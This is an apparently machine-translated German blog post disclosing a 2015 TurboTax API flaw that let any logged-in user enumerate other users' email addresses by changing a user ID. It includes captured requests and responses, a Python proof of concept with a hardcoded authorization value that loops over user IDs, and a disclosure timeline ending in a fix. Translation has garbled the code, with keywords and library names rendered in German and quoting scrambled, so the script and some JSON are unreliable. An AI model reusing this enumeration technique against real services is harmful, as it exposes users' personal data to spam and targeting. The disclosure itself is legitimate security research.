Datenschutzlücke in der TurboTax-API

Im Geiste des Steuertages wollte ich über meine Erfahrungen mit der Meldung einer Datenschutzlücke in der beliebtesten Steuervorbereitungssoftware auf dem Markt schreiben: Intuits TurboTax. Ich benutze TurboTax seit einigen Jahren für meine Steuern und dieses Jahr habe ich festgestellt, dass es eine Android-App gibt. Zuerst habe ich mich gefragt, ob die Leute wirklich Steuern auf ihrem Handy bezahlt haben, obwohl Intuit der Ansicht ist, dass die App eher für Tablets gedacht ist. Da TurboTax einige meiner sensibelsten verfügbaren Daten enthält, habe ich mich entschlossen, deren App näher zu betrachten. Dies führte zu meiner Entdeckung einer Sicherheitsanfälligkeit, die die Aufzählung von E-Mail-Konten für jeden Benutzer in seinem System ermöglicht. Obwohl es sich nicht gerade um eine kritische Sicherheitsanfälligkeit handelt, handelt es sich dennoch um ein Datenschutzproblem, das gemeldet und behoben werden sollte.

Bei der Erfassung der Webanfragen ist mir ein interessanter Aufruf zum Abrufen meiner Benutzerdaten aufgefallen:

 GET //accounts-tax.platform.intuit.com/v1/users/me HTTP / 1.1 Autorisierung: *** ENTFERNT *** intuit_appid: Intuit.cg.ttu.android Akzeptieren: application / json offerInfo: {"sku" : "0", "priorityCode": "1877700000"} User-Agent: Dalvik / 1.6.0 (Linux; U; Android 4.4.2; SCH-I545 Build / KOT49H) Host: accounts-tax.platform.intuit.com Verbindung: Keep-Alive Accept-Encoding: gzip 

Die Antwort ist unten:

 {"userId": "165140357", "username": "rwestergren05", "namespaceId": "50000003", "securityLevel": "HIGH", "challengeQuestionAnswer": [{"question": "Wie lautete Ihr Fabrikat? erstes Auto? ", " Antwort ":" ENTFERNT *** "}], " E-Mail ": {" primär ": wahr, " Adresse ":" ENTFERNT***@gmail.com ", "unbekannter Status" } } 

Es ist ein gängiges Entwurfsmuster, / me als Parameter zu verwenden, um die Informationen des aktuellen Benutzers abzurufen, anstatt dessen Benutzer-ID anzugeben. In diesen Fällen akzeptiert das letzte URI-Segment normalerweise auch eine Benutzer-ID, um den Zugriff auf Profilinformationen anderer Benutzer in der App zu ermöglichen. Die folgende URL (unter Verwendung meiner Benutzer-ID) hat dieselbe Antwort wie oben erhalten: //accounts-tax.platform.intuit.com/v1/users/165140357. Als nächstes wollte ich die Antwort sehen, wenn ich die Informationen anderer Benutzer anfordere. Das Verringern dieser ID um eins und Ausführen derselben Anforderung ergab die folgende Antwort:

 {"email": "***REMOVED***@another-domain.com"} 

Der Endpunkt unterschied zumindest zwischen dem angemeldeten Benutzer und der angeforderten Benutzer-ID, obwohl die E-Mail-Adresse aller Benutzer im System weiterhin angezeigt wurde. Auch dies ist keine weltbewegende Sicherheitsanfälligkeit, aber Benutzer möchten in der Regel nicht, dass ihre E-Mail-Adressen von böswilligen Akteuren entdeckt und für Spam verwendet werden.

Ich habe den folgenden PoC geschrieben, um den Exploit für das Sicherheitsteam von Intuit zu demonstrieren:

 Importanforderungen # Ersetzen Sie gültige Anmeldeinformationen. validUsername = "rwestergren05" validPassword = "" def do_login (Benutzername, Passwort): "" Get temp access_token "" "bearer_url =" //oauth-tax.platform.intuit.com/oauth2/v1 / Token / bearer "data = "grant_type = client_credentials" bearer_headers = { "Content-Type": "application / x-www-form-urlencoded; charset = UTF-8", "Authorization": "Grund cTBpN0ozcjRHNmt0ME5aOXRLd0dXbTJ1STlBN3hVSXVkN2FLTk9VQ01LbEVzNW1hbFY6Y0ZacXRxajk3bmlmd"" XVIVGxiaUlBMTNxV3NYc1RNTUlWNnlQUGpVeg = = "} r = orders.post (url = bearer_url, data = data, headers = bearer_headers) temp_token = r.json (). get (" access_token ")" " //access-tax.platform.intuit.com/v1/oauth2codes/sign_in "data = '{" oauth2CodeRequest ": {" clientId ":" q0i7J3r4G6kt0NZ9tKwGWm2uI9A7xUIud7aKNOUCMKlecter ": 5 v1 "}, " password ":"% s ", " username ":"% s "} '% (password, username) headers = {" Content-Type ":" application / json ", " Authorization ":" Bearer "+ temp_token", "intuitive_Risiko_Profilierungsdaten": "880c2310-4440-11e4-916c-0800200c9a66 & wl6hiim5yltpyf59p32g2e0ph9t4f170" oauth2CodeResponse "). get (" code ")" "Berechtigungscode für Zugriffstoken austauschen" "data =" grant_type = Berechtigungscode & code = "+ code +" & redirect_uri = https% 3A% 2F% 2Foauth2.intuit.com% 2Fnativeredirect% 2Fv1 "r = request.post (url = bearer_url, data = data, headers = bearer_headers) access_token = r.json (). get (" access_token ") print (" Access Token: "+ access_token) return access_token access_token = do_login (Benutzername = validUsername, password = validPassword) url = "//accounts-tax.platform.intuit.com/v1/users/" headers = {"Authorization": "Bearer" + access_token} mid = 165140356 count = 0 limit = 5 while count <limit: get_url = url + "% d"% mid r = request.get (get_url, headers = headers) falls "INVALID_IDENTITY_ID" nicht in r.text: print (r.text) count + = 1 mid - = 1 

Ich war beeindruckt, dass Intuit tatsächlich über ein offizielles Verfahren zur Meldung von Sicherheitslücken verfügte, sodass es einfach war, das richtige Team zu kontaktieren, um das Problem zu beheben.

Disclosure Timeline

2015-01-12: Erster Bericht gesendet

2015-01-13: Erhaltene Antwort mit der Bitte um weitere Details

2015-01-13: Gesendeter detaillierter PoC (oben)

2015-01-20: Antwort erhalten, dass das Problem überprüft wird

2015-01-21: Beim Ausführen von PoC wurde nach meiner Ausgabe gefragt

2015-01-21: Beispielausgabe gesendet

2015-01-21: Bestätigung der Sicherheitsanfälligkeit, laufende Korrektur

27.01.2015: Ich verfolge den Fixstatus

2015-01-31: Update erhalten: Begrenzungsmaßnahmen vorhanden, Patch geplant

05.02.2015: Update erhalten: Missbrauchsüberwachung vorhanden, aber Patch noch geplant. Kein API-Missbrauch gefunden.

26.02.2015: Update erhalten: Fix freigegeben und bestätigt

Intuit war während dieses Prozesses äußerst reaktionsschnell. Der Bericht kam zu ihrer geschäftigsten Zeit des Jahres, und obwohl der Zeitrahmen für die vollständige Fehlerbehebung verlängert zu sein scheint, ergriffen sie sofort Maßnahmen, um den Missbrauch der Sicherheitsanfälligkeit zu überwachen. Wie Intuit erklärte, bestand ihr Ziel darin, die Kundendaten zu schützen und gleichzeitig sicherzustellen, dass die Kunden während des Minderungsprozesses nur geringfügig vom Dienst betroffen sind. Das Sicherheitsteam von Intuit bedankte sich sehr für meinen Bericht und fügte mich auf der Seite "Security Researcher Acknowledgements" hinzu.